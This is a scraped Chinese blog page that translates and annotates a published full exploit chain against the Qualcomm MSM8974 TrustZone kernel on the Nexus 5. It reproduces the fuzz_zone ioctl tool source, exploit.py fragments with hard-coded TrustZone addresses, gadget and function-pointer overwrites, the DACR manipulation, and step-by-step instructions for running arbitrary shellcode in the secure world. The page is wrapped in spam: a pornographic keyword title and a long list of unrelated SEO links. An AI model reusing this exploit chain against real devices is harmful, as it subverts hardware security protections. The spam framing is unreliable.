中文亚洲精品无码_熟女乱子伦免费_人人超碰人人爱国产_亚洲熟妇女综合网

當前位置: 首頁 > news >正文

先搭建網(wǎng)站還是先做ui怎么創(chuàng)建網(wǎng)站教程

先搭建網(wǎng)站還是先做ui,怎么創(chuàng)建網(wǎng)站教程,自制個人網(wǎng)站,網(wǎng)站建設(shè)維護合同原文:http://bits-please.blogspot.com/2015/08/full-trustzone-exploit-for-msm8974.html 在這篇博文中,我們將介紹利用上一篇文章中描述的 TrustZone 漏洞的完整過程。 在開發(fā)此漏洞時,我只使用了我值得信賴的(個人&#xff0…

原文:http://bits-please.blogspot.com/2015/08/full-trustzone-exploit-for-msm8974.html

在這篇博文中,我們將介紹利用上一篇文章中描述的 TrustZone 漏洞的完整過程。

在開發(fā)此漏洞時,我只使用了我值得信賴的(個人)Nexus 5 設(shè)備。這意味著下面寫入的所有內(nèi)存地址和其他特定信息均取自該設(shè)備。

如果有人想要重新創(chuàng)建下面描述的確切研究,或者出于任何其他原因,我當時設(shè)備的確切版本是:
google/hammerhead/hammerhead:4.4.4/KTU84P/1227136:user/release-keys

漏洞原語

如果您閱讀了上一篇文章,您已經(jīng)知道該漏洞允許攻擊者將零DWORD寫入TrustZone 內(nèi)核虛擬地址。

為了使用這樣的原語創(chuàng)建強大的漏洞利用,第一個行動方案是嘗試利用這個弱原語變成更強的原語。

制作任意寫入原語

由于 TrustZone 內(nèi)核是在已知的物理地址處加載的,這意味著所有地址都是預先已知的。

此外,TrustZone 代碼段映射有只讀訪問權(quán)限,并在安全啟動過程中進行驗證。這意味著一旦 TrustZone 的代碼加載到內(nèi)存中,理論上它就不能(也不應(yīng)該)進行任何更改。
在這里插入圖片描述
我們?nèi)绾卫昧銓懭朐Z來實現(xiàn)完整的代碼執(zhí)行?

我們可以嘗試編輯 TrustZone 內(nèi)核中的任何可修改數(shù)據(jù)(例如堆、堆?;蛉肿兞?#xff09;,這可能允許我們?yōu)楦玫脑Z創(chuàng)建墊腳石。

正如我們在上一篇博客文章中提到的,通常,當調(diào)用 SCM 命令時,任何指向內(nèi)存的參數(shù)都會由 TrustZone 內(nèi)核進行驗證。進行驗證是為了確保物理地址在“允許的”范圍內(nèi),而不是在 TrustZone 內(nèi)核的已用內(nèi)存范圍內(nèi)。

這些驗證聽起來像是我們需要研究的主要候選者,因為如果我們能夠禁用它們的操作,我們就能夠利用其他 SCM 調(diào)用來創(chuàng)建不同類型的原語

TrustZone 內(nèi)存驗證

相關(guān)函數(shù)被作者重命名為如下tzbsp_validate_memory。

這是該函數(shù)的反編譯:
在這里插入圖片描述
該函數(shù)實際上調(diào)用兩個內(nèi)部函數(shù)來執(zhí)行驗證,我們分別稱為is_disallowed_rangeis_allowed_range。

is_disallowed_range 禁止范圍
在這里插入圖片描述
正如您所看到的,該函數(shù)實際上按以下方式使用給定地址的前 12 位:

  • 高 7 位用作表的索引,包含 128 個值,每個值 32 位寬
  • 較低的 5 位用作要在先前索引位置處存在的 32 位條目內(nèi)檢查的位索引

在這里插入圖片描述
換句話說,對于與要驗證的存儲器區(qū)域相交的每個1MB塊,上述表中存在一個位,用于表示該數(shù)據(jù)區(qū)域是否是“不允許的”。如果給定區(qū)域內(nèi)的任何塊都是不允許的,則該函數(shù)將返回一個指示該值的值。否則,該函數(shù)將給定的內(nèi)存區(qū)域視為有效。


  • 0xFE8304EC存儲了一張表,該表中記錄了內(nèi)存不被允許訪問的范圍
  • 該表主要通過給定地址的前12位進行檢測
  • 前12位的高7位:用于索引獲取表中記錄的值(32位寬)(一片32M內(nèi)存區(qū)間不被允許訪問的設(shè)置-通過bit進行比較)
  • 前12位的低5位:這塊32M內(nèi)存區(qū)間,第NM內(nèi)存塊是否設(shè)置為了不允許訪問

is_allowed_range 允許范圍
在這里插入圖片描述

雖然有點長,但是這個功能也相當簡單。本質(zhì)上,它只是遍歷一個包含具有以下結(jié)構(gòu)的條目的靜態(tài)數(shù)組:
在這里插入圖片描述
該函數(shù)迭代表中位于給定內(nèi)存地址的每個條目,當當前條目的“end_marker”字段為 0xFFFFFFFF 時停止。

由此類條目指定的每個范圍都會經(jīng)過驗證,以確保允許該內(nèi)存范圍。
然而,正如上面的反編譯所證明的,設(shè)置了“flags”字段第二位的條目將被跳過!
在這里插入圖片描述

攻擊驗證函數(shù)

現(xiàn)在我們了解了驗證函數(shù)的操作方式,讓我們看看如何使用零寫入原語來禁用它們的操作。

首先,如上所述,“is_disallowed_range”函數(shù)使用 32 位條目表,其中每個位對應(yīng)于 1MB 內(nèi)存塊。設(shè)置為 1 的位表示不允許的塊,設(shè)置為 0 的位表示允許的塊。

這意味著我們可以通過簡單地使用零寫入原語將表中的所有條目設(shè)置為零來輕松中和此函數(shù)。這樣做時,所有內(nèi)存塊現(xiàn)在都將被標記為允許。

繼續(xù)下一個功能; “is_allowed_range”。這有點棘手 - 如上所述,設(shè)置標志字段中第二位的塊將根據(jù)給定地址進行驗證。然而,對于未設(shè)置該位的每個塊,不執(zhí)行驗證,并且跳過該塊

由于在設(shè)備中存在的塊表中,只有第一個范圍與駐留在 TrustZone 內(nèi)核內(nèi)存范圍內(nèi)的內(nèi)存范圍相關(guān),因此我們只需將該字段清零即可。這樣做將導致驗證函數(shù)跳過它,因此驗證函數(shù)將接受 TrustZone 內(nèi)核內(nèi)的內(nèi)存地址為有效。

制作寫原語

現(xiàn)在我們已經(jīng)擺脫了邊界檢查函數(shù),我們可以自由地提供任何內(nèi)存地址作為SMC調(diào)用的參數(shù),并且可以毫無障礙地對其進行操作。

但是我們離創(chuàng)建寫原語更近了嗎?理想情況下,如果有一個 SCM 調(diào)用,我們可以控制寫入受控位置的數(shù)據(jù)塊,那就足夠了。

不幸的是,在檢查了所有 SCM 調(diào)用之后,似乎沒有與此描述相匹配的候選者。

不過,無需擔心!通過單個 SCM 調(diào)用無法實現(xiàn)的功能,可以通過將幾個調(diào)用串在一起來實現(xiàn)。從邏輯上講,我們可以將任意寫入原語的創(chuàng)建分為以下步驟:

  • Create在受控位置創(chuàng)建不受控的數(shù)據(jù)
  • Control控制創(chuàng)建的數(shù)據(jù)片段,使其真正包含所需的內(nèi)容
  • Copy將創(chuàng)建的數(shù)據(jù)復制到目標位置

Create 創(chuàng)造

盡管似乎沒有一個 SCM 調(diào)用是創(chuàng)建受控數(shù)據(jù)的良好候選者,但有一個調(diào)用可用于在受控位置創(chuàng)建不受控數(shù)據(jù):“tzbsp_prng_getdata_syscall”。

顧名思義,該函數(shù)可用于在給定位置生成隨機字節(jié)緩沖區(qū)。 Android 通常使用它來利用 Snapdragon SoC 中存在的硬件 PRNG。

無論如何,SCM 調(diào)用都會接收兩個參數(shù);輸出地址和輸出長度(以字節(jié)為單位)。

一方面,這很棒 - 如果我們(在某種程度上)信任硬件 RNG,我們可以非常確定對于使用此調(diào)用生成的每個字節(jié),整個字節(jié)值范圍都可以作為輸出。

另一方面,這意味著我們無法控制實際生成的數(shù)據(jù)。

Control 控制

盡管使用 PRNG 時任何輸出都是可能的,但也許我們可以通過某種方式驗證生成的數(shù)據(jù)實際上是我們希望寫入的數(shù)據(jù)。

為此,讓我們考慮以下游戲 - 假設(shè)您有一臺有四個插槽的老虎機,每個插槽有 256 個可能的值。每次拉動控制桿時,所有插槽都會同時旋轉(zhuǎn),并呈現(xiàn)隨機輸出。您需要拉動控制桿多少次才能使結(jié)果與您事先選擇的值完美匹配?嗯,有 4294967296 (2^32) 個
可能的值,因此每次拉動控制桿時,結(jié)果與您想要的結(jié)果相匹配的可能性約為 10^(-10)。聽起來你要在這里待一段時間…
在這里插入圖片描述
但如果你可以作弊呢?例如,如果每個插槽都有不同的控制桿怎么辦?這樣,每次拉動時您只能更改單個插槽的值。這意味著現(xiàn)在每次拉動杠桿時,結(jié)果與該插槽的所需值相匹配的可能性為 1/256。
在這里插入圖片描述
聽起來游戲現(xiàn)在容易多了,對吧?但容易多少呢?在概率論中,單個“游戲”的這種分布稱為伯努利分布,實際上只是一種奇特的方式,表示每個實驗都有一組成功概率,用 p 表示,所有其他結(jié)果都標記為所有失敗,發(fā)生的概率為 1-p。

假設(shè)我們想要 90% 的成功機會,事實證明,在游戲的原始版本中,我們需要大約 10^8 次嘗試(!),但如果我們作弊,則每個插槽只需要大約 590 次嘗試,其數(shù)量級要小幾個數(shù)量級。

那么您是否弄清楚這一切與我們的寫入原語有何關(guān)系?事情是這樣的:
首先,我們需要找到一個 SCM 調(diào)用,該調(diào)用從 TrustZone 內(nèi)核內(nèi)存中的可寫內(nèi)存位置向調(diào)用者返回一個值。

這樣的功能有很多。其中一種候選者是“tzbsp_fver_get_version”調(diào)用。 “正常世界”可以使用此函數(shù)來檢索不同 TrustZone 組件的內(nèi)部版本號。它通過接收一個整數(shù)(表示應(yīng)檢索其版本的組件)以及應(yīng)寫入版本代碼的地址來實現(xiàn)此目的。然后,該函數(shù)只需遍歷包含組件 ID 和版本代碼的靜態(tài)數(shù)組對。當找到具有給定 ID 的組件時,版本代碼將寫入輸出地址。
在這里插入圖片描述
現(xiàn)在,使用“tzbsp_prng_getdata_syscall”函數(shù),我們可以開始操作任何版本代碼的值,一次一個字節(jié)。為了知道我們在每次迭代中生成的字節(jié)的值,我們可以簡單地調(diào)用前面提到的SCM,同時傳入與我們正在修改其版本代碼的組件相匹配的組件ID,并提供一個指向的返回地址可讀(即不在 TrustZone 中)的內(nèi)存位置。

我們可以重復前兩個步驟,直到對生成的字節(jié)感到滿意為止,然后再繼續(xù)生成下一個字節(jié)。這意味著經(jīng)過幾次迭代后,我們可以確定特定版本代碼的值與我們想要的 DWORD 相匹配。

Copy 復制

最后,我們希望將生成的值寫入受控位置。幸運的是,這一步非常簡單。我們需要做的只是調(diào)用“tzbsp_fver_get_version”SCM 調(diào)用,但現(xiàn)在我們可以簡單地提供目標地址作為返回地址參數(shù)。這將導致該函數(shù)將生成的 DWORD 寫入受控位置,從而完成我們的寫入小工具。

現(xiàn)在怎么辦?

從現(xiàn)在開始,事情變得容易一些。首先,雖然我們有一個write原語,但是使用起來還是相當麻煩。如果我們能夠使用前一個小工具創(chuàng)建一個更簡單的小工具,也許會更容易一些。

我們可以通過創(chuàng)建自己的 SCM 調(diào)用來做到這一點,這只是一個 write-what-where 小工具。
這聽起來可能很棘手,但實際上非常簡單。

在上一篇博客文章中,我們提到所有 SCM 調(diào)用都是通過一個大數(shù)組間接調(diào)用的,其中包含指向每個 SCM 調(diào)用的指針(以及它們提供的參數(shù)數(shù)量、名稱等)。

這意味著我們可以使用之前創(chuàng)建的 write gadget 將我們認為“不重要”的某些 SCM 調(diào)用的地址更改為 write gadget 已經(jīng)存在的地址??焖贋g覽一下 TrustZone 內(nèi)核的代碼就會發(fā)現(xiàn)有很多這樣的小工具。下面是此類小工具的一個示例:
在這里插入圖片描述

這段代碼只是將 R0 中的值寫入 R1 中的地址,然后返回。

最后,能夠讀取 TrustZone 內(nèi)核虛擬地址空間內(nèi)的任何內(nèi)存位置也可能很方便。這可以通過使用與上述完全相同的方法創(chuàng)建讀取小工具來代替另一個“不重要”的 SCM 調(diào)用來實現(xiàn)。這個小工具實際上比寫入小工具少見得多。然而,在 TrustZone 內(nèi)核中發(fā)現(xiàn)了這樣一個小工具:

在這里插入圖片描述

該小工具返回從 R0 中的地址讀取的值,偏移量為 R1。驚人的。

Writing new code 編寫新代碼

在此階段,我們可以對 TrustZone 內(nèi)核內(nèi)存進行完全讀寫訪問。我們尚不具備在 TrustZone 內(nèi)核中執(zhí)行任意代碼的能力。
當然,有人可能會說我們可以在內(nèi)核中找到不同的小工具,并將它們串在一起以創(chuàng)建任何想要的效果。
但如果手動完成,這是相當累的(我們需要找到很多小工具),并且很難自動完成。

有幾種可能的方法可以解決這個問題。

一種可能的方法可能是在“正常世界”中編寫一段代碼,并從“安全世界”分支到它。
這聽起來是一個很簡單的方法,但實際上說起來容易做起來難。

正如第一篇博文中提到的,當處理器在安全模式下運行時,即 SCR(安全配置寄存器)中的 NS(非安全)位被關(guān)閉時,它只能執(zhí)行標記為“安全”的頁面在MMU使用的轉(zhuǎn)換表中(即NSbit關(guān)閉)。

在這里插入圖片描述
這意味著,為了執(zhí)行駐留在“正常世界”中的代碼塊,我們首先必須修改 TrustZone 內(nèi)核的轉(zhuǎn)換表,以便將我們編寫代碼片段的地址映射為安全的。

雖然這一切都是可能的,但有點令人厭煩。

另一種方法可能是在 TrustZone 內(nèi)核的代碼段中編寫新代碼,或覆蓋現(xiàn)有代碼。
這還有一個優(yōu)點是允許我們修改內(nèi)核中的現(xiàn)有行為,這在以后也可以派上用場。

然而,乍一看,這聽起來并不比以前的方法更容易實現(xiàn)。畢竟,TrustZone 內(nèi)核的代碼段被映射為只讀,并且肯定不可寫。

然而,這只是一個小小的挫折!實際上,這可以通過使用 ARM MMU 的一個稱為“域”的便捷功能來解決,而無需修改轉(zhuǎn)換表。

在 ARM 翻譯表中,每個條目都有一個列出其權(quán)限的字段,以及一個表示翻譯所屬“域”的字段。有 16 個域,每個翻譯都屬于其中的一個。

在ARM MMU 中,有一個寄存器稱為DACR(域訪問控制寄存器)。這個 32 位寄存器有 16 對位,每個域一對,用于指定對于給定域的轉(zhuǎn)換是否應(yīng)該生成讀訪問、寫訪問、兩者或都不生成錯誤。
在這里插入圖片描述
每當處理器嘗試訪問給定內(nèi)存地址時,MMU 首先使用該地址的給定轉(zhuǎn)換的訪問權(quán)限檢查是否可以進行訪問。
如果允許訪問,則不會產(chǎn)生故障。

否則,MMU 檢查 DACR 中對應(yīng)于給定域的位是否已設(shè)置。如果是,則故障被抑制并允許訪問。

這意味著,簡單地將 DACR 的值設(shè)置為 0xFFFFFFFF 實際上會導致 MMU 啟用對任何映射內(nèi)存地址的讀取和寫入訪問,而不會生成故障(更重要的是,無需修改轉(zhuǎn)換表)。

但是我們?nèi)绾卧O(shè)置DACR呢?顯然,在 TrustZone 內(nèi)核初始化期間,它還顯式地將 DACR 值設(shè)置為預定值 (0x55555555),如下所示:
在這里插入圖片描述
然而,我們可以簡單地分支到初始化函數(shù)中的下一個操作碼,同時在 R0 中提供我們自己的值,從而使 DACR 設(shè)置為我們的控制值。

現(xiàn)在 DACR 已設(shè)置,路徑就全部清晰了 - 我們可以簡單地在 TrustZone 內(nèi)核中編寫或覆蓋代碼。
為了使事情變得更容易(并且破壞性更小),最好在 TrustZone 內(nèi)核未使用的位置編寫代碼。其中一個候選者是“代碼洞”。

代碼洞只是未使用的區(qū)域(通常在分配的內(nèi)存區(qū)域的末尾)(即不包含代碼),但仍然被映射且有效。它們通常是由內(nèi)存映射具有粒度這一事實引起的,因此在映射段的末尾經(jīng)常存在內(nèi)部碎片。

TrustZone 內(nèi)核中有幾個這樣的代碼洞,這使我們能夠在其中編寫小段代碼并執(zhí)行它們,而麻煩最少。

把它們放在一起

所以這個漏洞有點復雜。以下是我們必須完成的所有階段的概要:

  • 使用零寫入原語禁用內(nèi)存驗證功能
  • 使用 TrustZone PRNG 在受控位置制作所需的 DWORD
  • 通過讀取相應(yīng)的版本代碼來驗證精心制作的DWORD
  • 將精心設(shè)計的版本代碼寫入現(xiàn)有 SCM 調(diào)用的函數(shù)指針的位置(通過這樣做創(chuàng)建快速寫入小工具)
  • 使用快速寫入小工具創(chuàng)建讀取小工具
  • 使用快速寫入小工具將函數(shù)指針寫入小工具,使我們能夠修改 DACR
  • 修改DACR以完全啟用(0xFFFFFFFF)
  • 將代碼寫入 TrustZone 內(nèi)核中的代碼洞
  • Execute! 😃

The Code

我已經(jīng)為此漏洞編寫了一個漏洞利用程序,其中包括 Nexus 5 所需的所有符號(帶有預先聲明的指紋)。

首先,為了使漏洞能夠?qū)⑺璧木脑O(shè)計的 SCM 調(diào)用發(fā)送到 TrustZone 內(nèi)核,我創(chuàng)建了 msm-hammerhead 內(nèi)核的修補版本,它添加了此類功能并將其公開給用戶空間 Android。

我選擇通過向現(xiàn)有驅(qū)動程序 QSEECOM(在第一篇博文中提到)添加一些新的 IOCTL 來實現(xiàn)此目的,該驅(qū)動程序是用于與 TrustZone 內(nèi)核交互的 Qualcomm 驅(qū)動程序。這些 IOCTL 使調(diào)用者能夠向 TrustZone 內(nèi)核發(fā)送包含任意數(shù)據(jù)的“原始”SCM 調(diào)用(常規(guī)或原子)。

您可以在這里找到所需的內(nèi)核修改。

對于那些使用 Nexus 5 設(shè)備的人,我個人建議您遵循 Marcin Jabrzyk 的精彩教程 - 這里(這是一個完整的教程,描述了如何編譯和啟動自定義內(nèi)核而不將其刷新到設(shè)備)。(鏈接失效了,搜索 building-and-booting-nexus-5-kernel)

使用修改后的內(nèi)核啟動設(shè)備后,您將需要一個可以使用新添加的 IOCTL 的用戶空間應(yīng)用程序,以便將 SCM 發(fā)送到內(nèi)核。

我已經(jīng)編寫了這樣一個應(yīng)用程序,您可以在這里獲取它。
最后,漏洞本身是用 python 編寫的。它使用用戶空間應(yīng)用程序通過自定義內(nèi)核將 SCM 調(diào)用直接發(fā)送到 TrustZone 內(nèi)核,并允許在內(nèi)核中執(zhí)行任何任意代碼。

您可以在此處找到完整的漏洞利用代碼。

使用漏洞

使用該漏洞非常簡單。這是你必須做的:

  • 使用修改后的內(nèi)核啟動設(shè)備(鏈接失效了,搜索 building-and-booting-nexus-5-kernel)
  • 編譯 FuzzZone 二進制文件并將其放置在 /data/local/tmp/ 下
  • 在 shellcode.S 文件中寫入任何 ARM 代碼
  • 執(zhí)行 build_shellcode.sh 腳本以創(chuàng)建 shellcode 二進制文件
  • 執(zhí)行exploit.py以在TrustZone內(nèi)核中運行您的代碼

Affected Devices 受影響的設(shè)備

截至披露時,該漏洞影響了所有配備 MSM8974 SoC 的設(shè)備。

分析漏洞利用代碼

https://github.com/laginimaineb/fuzz_zone/

對qseecom驅(qū)動ioctl調(diào)用的簡單封裝

  • QSEECOM_IOCTL_SEND_RAW_SCM
  • QSEECOM_IOCTL_SEND_ATOMIC_SCM
#include <fcntl.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include "qseecom.h"struct __attribute__((packed)) qseecom_send_raw_scm_req {uint32_t svc_id;uint32_t cmd_id;void *cmd_req_buf; /* in */unsigned int cmd_req_len; /* in */void *resp_buf; /* in/out */unsigned int resp_len; /* in/out */
};struct __attribute__((packed)) qseecom_send_atomic_scm_req {uint32_t svc_id;uint32_t cmd_id;uint32_t num_args;uint32_t arg1;uint32_t arg2;uint32_t arg3;uint32_t arg4;
};#define QSEECOM_IOCTL_SEND_RAW_SCM \_IOWR(QSEECOM_IOC_MAGIC, 21, struct qseecom_send_raw_scm_req)#define QSEECOM_IOCTL_SEND_ATOMIC_SCM \_IOWR(QSEECOM_IOC_MAGIC, 24, struct qseecom_send_atomic_scm_req)int main(int argc, char **argv) {//Reading the command-line argumentsif (argc < 2) {printf("USAGE: fuzz_zone <MODE>\n");return -EINVAL;}char* mode = argv[1];//Opening the QSEECOM deviceint fd = open("/dev/qseecom", O_RDONLY);if (fd < 0) {perror("Failed to open /dev/qseecom");return -errno;}printf("FD: %d\n", fd);//Checking if this is an atomic callif (strstr(mode, "reg") == mode) {//Reading the arguments from the userif (argc < 4) {printf("USAGE: %s reg <SVC_ID> <CMD_ID> <NUM_ARGS> <HEX ARGS...>\n", argv[0]);return -EINVAL;}struct qseecom_send_atomic_scm_req req;req.svc_id = atoi(argv[2]);req.cmd_id = atoi(argv[3]);req.num_args = atoi(argv[4]);if (req.num_args > 4) {printf("Illegal number of arguments supplied: %d\n", req.num_args);return -EINVAL;}if (req.num_args > 0)req.arg1 = (unsigned)strtoll(argv[5], NULL, 16);if (req.num_args > 1)req.arg2 = (unsigned)strtoll(argv[6], NULL, 16);if (req.num_args > 2)req.arg3 = (unsigned)strtoll(argv[7], NULL, 16);if (req.num_args > 3)req.arg4 = (unsigned)strtoll(argv[8], NULL, 16);int res = ioctl(fd, QSEECOM_IOCTL_SEND_ATOMIC_SCM, &req);printf("IOCTL RES: %u\n", (unsigned)res);if (res < 0) {perror("Failed to send ioctl");}}	//Checking if this is a raw callelse if (strstr(mode, "raw") == mode) {if (argc != 6) {printf("USAGE: %s raw <SVC_ID> <CMD_ID> <REQ_BUF> <RESP_LEN>\n", argv[0]);return -EINVAL;}uint32_t svc_id = atoi(argv[2]);uint32_t cmd_id = atoi(argv[3]);char* hex_cmd_buf = argv[4];uint32_t resp_len = atoi(argv[5]);//Converting the hex string to a binary stringunsigned cmd_req_len = strlen(hex_cmd_buf)/2;char* bin_cmd_req = malloc(cmd_req_len);for (int i=0; i<cmd_req_len; i++)sscanf(hex_cmd_buf+i*2,"%2hhx", bin_cmd_req+i);//Sending the requeststruct qseecom_send_raw_scm_req raw_req;raw_req.svc_id = svc_id;raw_req.cmd_id = cmd_id;raw_req.cmd_req_len = cmd_req_len;raw_req.cmd_req_buf = bin_cmd_req;raw_req.resp_buf = malloc(resp_len);memset(raw_req.resp_buf, 'B', resp_len); //Visible garbage to see the actual changeraw_req.resp_len = resp_len;int res = ioctl(fd, QSEECOM_IOCTL_SEND_RAW_SCM, &raw_req);if (res < 0) {perror("Failed to send raw SCM ioctl");return -errno;}printf("IOCTL RES: %d\n", res);//Printing the response bufferprintf("Response Buffer:\n");uint32_t i;for (i=0; i<raw_req.resp_len; i++)printf("%02X", ((unsigned char*)raw_req.resp_buf)[i]);printf("\n");}else {printf("Unknown mode %s!\n", mode);return -EINVAL;}	
}

https://github.com/laginimaineb/MSM8974_exploit

adb.py
通過adb調(diào)用fuzz_zone中封裝好的驅(qū)動ioctl調(diào)用

import subprocess, os, re
from consts import *def execute_privileged_command(command_str):'''Executes the given privileged command on the device'''proc = subprocess.Popen(["adb", "shell", "su", "-c", "\"%s\"" % command_str], stdout=subprocess.PIPE)proc.wait()return proc.stdout.read()def pull_file(remote_path, local_path):'''Pulls the remote path from the device to the local path'''proc = subprocess.Popen(["adb", "pull", remote_path, local_path], stdout=subprocess.PIPE)proc.wait()def dev_mem_read_memory(address, length):'''Reads memory from the device using /dev/mem'''output = execute_privileged_command("dd if=/dev/mem of=%s bs=1 count=%d skip=%d && hd %s" %(REMOTE_TEMP_DUMP_PATH, length, address, REMOTE_TEMP_DUMP_PATH))return "".join(re.findall("^[0-9a-f]{8}: (.*?) s", output, re.MULTILINE)).replace(" ","").decode("hex")

scm.py 再對adb.py驅(qū)動ioctl調(diào)用進行一層封裝
consts.py 常量、字符串定義
shellcode.S 空文件,讀者可自由編寫
symbols.py trustzone內(nèi)核的gadget
exploit.py 核心exp

繞過tzbsp_validate_memory檢測

#Disabling bounds checks, if neccessary
print "[+] Disabling bounds checks"
disable_bounds_checks()#The DWORD that needs to be nullified in order to pass all bounds checks
BOUNDS_CHECK_DWORD_ADDRESS = 0xFE828444
BOUNDS_CHECKS_RANGE_START = 0xFE8304EC
BOUNDS_CHECKS_RANGE_END = 0xFE8306E8def disable_bounds_checks():'''Disables the checks performed by each of the bounds checking methods.'''zero_dword(BOUNDS_CHECK_DWORD_ADDRESS)for addr in range(BOUNDS_CHECKS_RANGE_START, BOUNDS_CHECKS_RANGE_END+1, 4):zero_dword(addr)

通過Create/Control/Copy制作寫入原語-目的-制作更簡單的寫入原語

將tzbsp_get_diag調(diào)用替換為一個write gadget

        #Writing the address of the write gadget to the location of the write gadgetprint "[+] Overwriting the tzbsp_get_diag pointer address with a write gadget"write_dword_slow(TZBSP_GET_DIAG_POINTER_ADDRESS, STR_R0_R1_BX_LR)def write_dword_slow(address, dword):'''Writes the given DWORD to the given physical address, including TrustZone addresses'''#First of all, we need to start fuzzing the value using the PRNG call into the dump zone#The dump zone used is the pointer returned from the fver_get_version call, with version code 0.#Once we manage to fuzz the DWORD successfully, we can use the fver_get_version call to write that#DWORD to arbitrary memory#NOTE: For this method to work, the bounds checks must be disabled!        dword_bytes = struct.pack("<I", dword)for i in range(0, 4):wanted_byte = dword_bytes[i]current_dword = fver_get_version(0)print current_dword.encode("hex")print "Wanted %02X at idx %d, current value: %08X" % (ord(wanted_byte), i, struct.unpack("<I", current_dword)[0])while current_dword[i] != wanted_byte:write_random_value(VERSION_CODE_0_DWORD_ADDRESS+i, 1)current_dword = fver_get_version(0)print "Wanted %02X at idx %d, current value: %02X" % (ord(wanted_byte), i, ord(current_dword[i]))print "Got a byte!"print "Prepared values! Writing to given address"execute_register_scm(SCM_SVC_INFO, TZ_INFO_GET_FEATURE_VERSION_ID, (0, address, 4))  

Restoring the bounds check DWORD

        #Restoring the bounds check DWORDprint "[+] Restoring bounds check DWORD"write_dword_fast(BOUNDS_CHECK_DWORD_ADDRESS, 0x2)print "[+] Restored! (It is now safe to turn on the screen)"

利用write gadget修改tzbsp_security_allows_memdump為set dacr gadget

        #Setting the DACR to enable all domain permissionsprint "[+] Enabling all domain permissions"write_dword_fast(TZBSP_SECURITY_ALLOWS_MEMDUMP_POINTER_ADDRESS, SET_DACR)set_dacr(0xFFFFFFFF)

利用write gadget修改tzbsp_security_allows_memdump為read gadget

        #Writing the read gadget using the write gadgetprint "[+] Overwriting the tzbsp_security_allows_memdump pointer with a read gadget"write_dword_fast(TZBSP_SECURITY_ALLOWS_MEMDUMP_POINTER_ADDRESS, LDR_R1_R1_STR_R1_R0_BX_LR)print "[+] Gained full R/W to all memory (including TrustZone kernel code!)"

將shellcode寫入TrustZone 內(nèi)核

        #Writing some code to a code caveshellcode = open(SHELLCODE_PATH, 'rb').read()if len(shellcode) > CODE_CAVE_SIZE:print "[-] Not enough space to write shellcode to code cave (%d/%d)" % (len(shellcode), CODE_CAVE_SIZE)returnprint "[+] Writing shellcode to code cave (cave size: %d, shellcode size: %d)" % (CODE_CAVE_SIZE, len(shellcode))write_range(shellcode, CODE_CAVE_ADDRESS)print read_range(CODE_CAVE_ADDRESS, CODE_CAVE_ADDRESS+len(shellcode)).encode("hex")#Overwriting a pointer to point to the newly written codeprint "[+] Overwriting tzbsp_security_allows_memdump pointer with shellcode address"print "Code address: %08X" % (CODE_CAVE_ADDRESS + IS_SHELLCODE_THUMB)write_dword_fast(TZBSP_SECURITY_ALLOWS_MEMDUMP_POINTER_ADDRESS, CODE_CAVE_ADDRESS + IS_SHELLCODE_THUMB) #Adding one for thumb, if neccessaryprint "[+] Executing shellcode"execute_register_scm(SCM_SVC_UTIL, TZ_UTIL_SEC_ALLOWS_MEMDUMP, (0,0))print "[+] Done!"print dev_mem_read_memory(0xF000, 4).encode("hex")
http://www.risenshineclean.com/news/55501.html

相關(guān)文章:

  • 化妝培訓網(wǎng)站模板百度網(wǎng)頁網(wǎng)址
  • 網(wǎng)站開發(fā)費用多少錢如何學會推廣和營銷
  • 做的比較好的返利網(wǎng)站知乎網(wǎng)站搭建一般要多少錢
  • 做盜版視頻網(wǎng)站違法嗎自己制作網(wǎng)頁的網(wǎng)站
  • 電子商務(wù)網(wǎng)站建設(shè)專業(yè)主修課程關(guān)鍵詞挖掘排名
  • wordpress 頁面?zhèn)戊o態(tài)界首網(wǎng)站優(yōu)化公司
  • 企業(yè)網(wǎng)站建設(shè)電話網(wǎng)絡(luò)推廣方案七步法
  • 廣東工廠網(wǎng)站建設(shè)sem是什么公司
  • 渭南網(wǎng)站建設(shè)網(wǎng)站代發(fā)外鏈
  • 做設(shè)計想接外單去哪個網(wǎng)站好怎樣推廣自己的商城
  • 東西湖做網(wǎng)站中國最厲害的營銷策劃公司
  • 企業(yè)如何注冊自己的網(wǎng)站網(wǎng)站分析
  • 最簡單的網(wǎng)站模板下載資深seo顧問
  • html5企業(yè)網(wǎng)站建設(shè)湖南營銷型網(wǎng)站建設(shè)
  • 網(wǎng)站域名被做網(wǎng)站的公司擅自更改寧波優(yōu)化網(wǎng)站哪家好
  • 營銷型網(wǎng)站建設(shè)極速建站佛山疫情最新消息
  • 做我網(wǎng)站個人網(wǎng)站怎么制作
  • 建設(shè)一個廣告聯(lián)盟的網(wǎng)站上海城市分站seo
  • 網(wǎng)站建設(shè)如何提高瀏覽量廣州30萬人感染
  • 在線推廣企業(yè)網(wǎng)站的方法廣東今日最新疫情通報
  • wordpress 連接qq視頻教程seo是什么意思電商
  • 做網(wǎng)站 多少人軟件開發(fā)流程八個步驟
  • wordpress 模板漢化sem 優(yōu)化價格
  • 仿牌做獨立網(wǎng)站可靠嗎全球搜索
  • 上海網(wǎng)站建設(shè)滬icp備手機百度app下載安裝
  • 北京做網(wǎng)站建設(shè)的公司哪家好電銷系統(tǒng)
  • 上海網(wǎng)站建設(shè)公司招聘網(wǎng)絡(luò)營銷策略存在的問題
  • 煙臺h5網(wǎng)站建設(shè)公司投稿網(wǎng)
  • 武漢 網(wǎng)站制作網(wǎng)絡(luò)優(yōu)化seo是什么工作
  • 相親網(wǎng)站做期貨現(xiàn)貨貴金屬的人產(chǎn)品推廣方案ppt